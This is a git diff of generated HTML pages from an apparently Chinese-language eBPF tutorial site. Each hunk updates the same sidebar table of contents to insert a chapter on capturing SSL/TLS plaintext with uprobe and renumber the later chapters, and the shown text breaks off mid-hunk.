Tutorial diff --git a/8-exitsnoop/index.html b/8-exitsnoop/index.html index 4f3f1a8..5bdf22e 100644 --- a/8-exitsnoop/index.html +++ b/8-exitsnoop/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/9-runqlat/index.html b/9-runqlat/index.html index 5e4a5d9..8c544ec 100644 --- a/9-runqlat/index.html +++ b/9-runqlat/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/bcc-documents/kernel-versions.html b/bcc-documents/kernel-versions.html index a2197c9..57689ad 100644 --- a/bcc-documents/kernel-versions.html +++ b/bcc-documents/kernel-versions.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/bcc-documents/kernel_config.html b/bcc-documents/kernel_config.html index b1ccc40..66c33db 100644 --- a/bcc-documents/kernel_config.html +++ b/bcc-documents/kernel_config.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/bcc-documents/reference_guide.html b/bcc-documents/reference_guide.html index ec80416..ce383fe 100644 --- a/bcc-documents/reference_guide.html +++ b/bcc-documents/reference_guide.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/bcc-documents/special_filtering.html b/bcc-documents/special_filtering.html index 4aa4bba..812fed3 100644 --- a/bcc-documents/special_filtering.html +++ b/bcc-documents/special_filtering.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/bcc-documents/tutorial.html b/bcc-documents/tutorial.html index 2324fdc..2299b60 100644 --- a/bcc-documents/tutorial.html +++ b/bcc-documents/tutorial.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/bcc-documents/tutorial_bcc_python_developer.html b/bcc-documents/tutorial_bcc_python_developer.html index 6d151e1..4162615 100644 --- a/bcc-documents/tutorial_bcc_python_developer.html +++ b/bcc-documents/tutorial_bcc_python_developer.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 